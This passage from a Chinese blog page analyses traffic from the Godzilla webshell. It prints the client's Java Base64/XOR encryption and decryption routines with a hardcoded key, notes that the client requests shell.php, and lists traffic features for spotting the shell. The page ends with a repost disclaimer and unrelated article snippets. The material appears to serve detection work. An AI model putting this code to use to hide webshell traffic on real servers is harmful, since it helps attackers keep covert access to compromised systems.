        baseCls = Class.forName("sun.misc.BASE64Encoder");
        Object Encoder = baseCls.newInstance();
        
        // 调用 BASE64Encoder 的 encode 方法进行编码
        String result = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
        
        // 去除编码结果中的换行符
        result = result.replace("\n", "").replace("\r", "");
        
        // 将结果转换为字节数组
        encrypted = result.getBytes();
    }
    
    // 返回加密并编码后的字节数组
    return encrypted;
}

客户端解密函数

private byte[] Decrypt(byte[] data) throws Exception
{
    // 声明一个字节数组,用于存储解码后的字节
    byte[] decodebs;
    // 声明一个类对象,用于动态加载类
    Class baseCls;
    
    try {
        // 尝试加载 java.util.Base64 类
        baseCls = Class.forName("java.util.Base64");
        // 获取 Base64 类的解码器实例
        Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
        // 使用解码器对输入的字节数组进行解码
        decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
        // 如果加载 java.util.Base64 失败,尝试加载 sun.misc.BASE64Decoder 类
        baseCls = Class.forName("sun.misc.BASE64Decoder");
        // 创建 BASE64Decoder 的实例
        Object Decoder = baseCls.newInstance();
        // 使用 BASE64Decoder 对输入的字节数组进行解码,注意这里需要将字节数组转换为字符串
        decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
    }
    
    // 定义一个密钥,用于后续的异或操作
    String key = "e45e329feb5d925b";
    // 对解码后的字节数组进行异或操作,使用密钥的字节
    for (int i = 0; i < decodebs.length; i++) {
        // 将解码后的字节与密钥的相应字节进行异或运算
        decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
    }
    
    // 返回解密后的字节数组
    return decodebs;
}

第一阶段-密钥协商

首先tcp连接,然后访问 shell.php

请求响应加密方式一样

对称加密

xor加密

base64加密

1) referer与url目录级数一致

流量特征

哥斯拉

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/969185.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

docker学习---第3步:docker实操大模型

文章目录 1.Images2.Container3.DockerfileENTRYPOINT和CMDCOPY和ADDLABLE、EXPOSE和VOLUME卷中的数据是如何做数据备份的&#xff1f; ARG和ENVHEALTHCHECK 4. Network&#xff08;本节讲容器与容器之间的通信方案&#xff09; 跟着b站 胖虎遛二狗学习 Docker动手入门 &…

DeepSeek系统崩溃 | 极验服务如何为爆火应用筑起安全防线?

引言 极验服务让您的产品站在风口之时&#xff0c;不必担心爆红是灾难的开始&#xff0c;而是期待其成为驱动持续创新的全新起点。 01现象级狂欢背后&#xff0c;你的业务安全防线抗得住吗&#xff1f; “近期DeepSeek线上服务受到大规模恶意攻击&#xff0c;注册可能繁忙&am…

中国计算机学会(CCF)新规解读:CSP-J/S年龄限制政策

中国计算机学会&#xff08;CCF&#xff09;新规解读&#xff1a;CSP-J/S年龄限制政策 一、政策背景与动机 问题根源 低龄化竞赛趋势&#xff1a;近年来&#xff0c;CSP-J/S&#xff08;非专业级软件能力认证&#xff09;参赛者中小学生比例显著增加&#xff0c;部分学生甚至在…

K8s之存储卷

一、容忍、crodon和drain 1.容忍 即使节点上有污点&#xff0c;依然可以部署pod。 字段&#xff1a;tolerations 实例 当node01上有标签test11&#xff0c;污点类型为NoSchedule&#xff0c;而node02没有标签和污点&#xff0c;此时pod可以在node01 node02上都部署&#xff0c…

用大模型学大模型03-数学基础 概率论 条件概率 全概率公式 贝叶斯定理

要深入浅出地理解条件概率与贝叶斯定理&#xff0c;可以从以下几个方面入手&#xff0c;结合理论知识和实例进行学习&#xff1a; 贝叶斯定理与智能世界的暗语 条件概率&#xff0c;全概率公式与贝叶斯公式的推导&#xff0c;理解和应用 拉普拉斯平滑 贝叶斯解决垃圾邮件分类 …

JAVA学习第三天

继承关系变量访问的特点 01.方法中找 02.子类变量定义中找 03.父类中找 this和super关键字的使用区别&#xff1a; super父类构造函数的使用&#xff1a; 使用子类构造函数时&#xff0c;都会初始化父类的数据&#xff0c;自动调用父类的无参构造函数 super内存图——007 继…

多媒体软件安全与授权新范例,用 CodeMeter 实现安全、高效的软件许可管理

背景概述 Reason Studios 成立于 1994 年&#xff0c;总部位于瑞典斯德哥尔摩&#xff0c;是全球领先的音乐制作软件开发商。凭借创新的软件产品和行业标准技术&#xff0c;如 ReWire 和 REX 文件格式&#xff0c;Reason Studios 为全球专业音乐人和业余爱好者提供了一系列高质…

计算机三级网络技术知识点全面总结

声明1 本文参考了计算机三级网络技术考过指南和其他网络教程写成&#xff0c;感谢这些作者提供的资料声明2 如果存在错误和不足&#xff0c;欢迎提出评判建议&#xff1b;如果涉及侵权&#xff0c;请联系我进行删除声明3 本文还提供了PDF版本以便下载&#xff0c;所有资料均完全…

【数据结构】(8) 二叉树

一、树形结构 1、什么是树形结构 根节点没有前驱&#xff0c;其它节点只有一个前驱&#xff08;双亲/父结点&#xff09;。所有节点可以有 0 ~ 多个后继&#xff0c;即分支&#xff08;孩子结点&#xff09;。每个结点作为子树的根节点&#xff0c;这些子树互不相交。 2、关于…

qt中实现QListWidget列表

FR:徐海涛&#xff08;hunkxu)

网络工程师 (35)以太网通道

一、概念与原理 以太网通道&#xff0c;也称为以太端口捆绑、端口聚集或以太链路聚集&#xff0c;是一种将多个物理以太网端口组合成一个逻辑通道的技术。这一技术使得多个端口能够并行工作&#xff0c;共同承担数据传输任务&#xff0c;从而提高了网络的传输能力和可靠性。 二…

8K样本在DeepSeek-R1-7B模型上的复现效果

7B Model and 8K Examples: Emerging Reasoning with Reinforcement Learning is Both Effective and Effic (notion.site) 港科大助理教授何俊贤的团队以Qwen2.5-Math-7B&#xff08;基础模型&#xff09;为起点&#xff0c;直接对其进行强化学习。整个过程中&#xff0c;没有…

Docker部署Alist网盘聚合管理工具完整教程

Docker部署Alist网盘聚合管理工具完整教程 部署alist初始化修改密码添加存储&#xff01;联通网盘阿里云盘百度网盘 部署alist 本文以Linux Docker部署&#xff0c;假设你已经安装好Docker docker run -d --restartalways \-v /your/data:/opt/alist/data \-p 5244:5244 \-e …

SpringMVC环境搭建

文章目录 1.模块创建1.创建一个webapp的maven项目2.目录结构 2.代码1.HomeController.java2.home.jsp3.applicationContext.xml Spring配置文件4.spring-mvc.xml SpringMVC配置文件5.web.xml 配置中央控制器以及Spring和SpringMVC配置文件的路径6.index.jsp 3.配置Tomcat1.配置…

DeepSeek 突然来袭,AI 大模型变革的危机与转机藏在哪?

随着人工智能技术的飞速发展&#xff0c;大模型领域不断涌现出具有创新性的成果。DeepSeek 的横空出世&#xff0c;为 AI 大模型领域带来了新的变革浪潮。本文将深入探讨 DeepSeek 出现后 AI 大模型面临的危机与转机。 冲冲冲&#xff01;&#xff01;&#xff01; 目录 一、…

多模态本地部署和ollama部署Llama-Vision实现视觉问答

文章目录 一、模型介绍二、预期用途1. 视觉问答(VQA)与视觉推理2. 文档视觉问答(DocVQA)3. 图像字幕4. 图像-文本检索5. 视觉接地 三、本地部署1. 下载模型2. 模型大小3. 运行代码 四、ollama部署1. 安装ollama2. 安装 Llama 3.2 Vision 模型3. 运行 Llama 3.2-Vision 五、效果…

破局・重构:建筑行业数字化转型生死时速——当“推土机思维”撞上“数据洪流”,谁能率先上岸?

一、冰与火之歌&#xff1a;大基建遗产下的转型阵痛 中国建筑行业曾用20年时间&#xff0c;浇筑了超越西方200年总量的基建工程&#xff1a;543万公里公路、16万公里铁路、6亿栋房屋……这些钢铁巨龙曾托起“基建狂魔”的荣光&#xff0c;却也埋下时代转折的伏笔。 1. 大维修时…

深入理解Java对接DeepSeek

其实&#xff0c;整个对接过程很简单&#xff0c;就四步&#xff0c;获取key&#xff0c;找到接口文档&#xff0c;接口测试&#xff0c;代码对接。 1.获取 KEY https://platform.deepseek.com/transactions 直接付款就是了&#xff08;现在官网暂停充值2025年2月7日&#xf…

yanshee机器人初次使用说明(备注)-PyCharm

准备 需要&#xff1a; 1&#xff0c;&#xff08;优必选&#xff09;yanshee机器人Yanshee 开发者说明 2&#xff0c;手机-联网简单操控 / HDMI线与显示器和键鼠标-图形化开发环境 / 笔记本&#xff08;VNC-内置图形化开发环境/PyCharm等平台&#xff09;。 3&#xff0c;P…

故障码循环显示专项--和Deepseek的一次深度交互

01--背景 自打Deepseek上线以来&#xff0c;风靡全球&#xff0c;我也在本地接入了deepseek&#xff0c;之前一直想把故障码循环显示专项这个功能做进软件内&#xff0c;因为当前有个项目对观测量的支持非常有限&#xff0c;因为使用的是CAN报文。 观测量预估&#xff1a; C…